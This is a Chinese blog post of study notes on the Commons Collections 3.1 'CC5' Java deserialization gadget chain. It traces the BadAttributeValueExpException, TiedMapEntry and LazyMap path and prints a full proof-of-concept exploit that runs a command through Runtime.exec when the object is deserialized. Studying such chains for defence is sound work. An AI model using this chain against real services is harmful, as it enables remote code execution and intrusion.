0X00前言
cc5其实是再cc版本3.1的一个漏洞,分析都是结合这b站白日梦组长和ys官方的链子组合分析
0x01分析
这条链子的入口是一个BadAttributeValueExpException这一个新的类,它的readObject方法调用了toString方法,在TiedMapEntry的toString方法中
调用getValue方法,然后这个getValue方法那么谁的get方法调用呢这个是我们在cc链中经常利用的Lazymap整个链子的构成到这里就很明了了在BadAttributeValueExpException反序列化调用TiedMapEntry中的get然后再TiedMapEntry中构造Lazymap,
0x02完整的链子
先看一个小疑惑
这里是入口类的构造函数有一个三元判断符号我们传入的值是否是null是null不执行东西不是null执行传入对象的toString,所以我们构造函数的时候传入null
完整exp
public class CC5 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap= new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class<? extends BadAttributeValueExpException> aClass = badAttributeValueExpException.getClass();
Field valFiled = aClass.getDeclaredField("val");
valFiled.setAccessible(true);
valFiled.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
unseriallize("src.bin");
0x03
学到这里cc链能够自己分析自己写exp了,自己写了那么多exp理解也有逐渐加深,好像还有一个cc11嘛,到时候再看看,然后可以进入shiro和马子分析了冰蝎和内存马。
标签:CC5,Object,Class,TiedMapEntry,new,null,class From: https://www.cnblogs.com/0x3e-time/p/16932199.html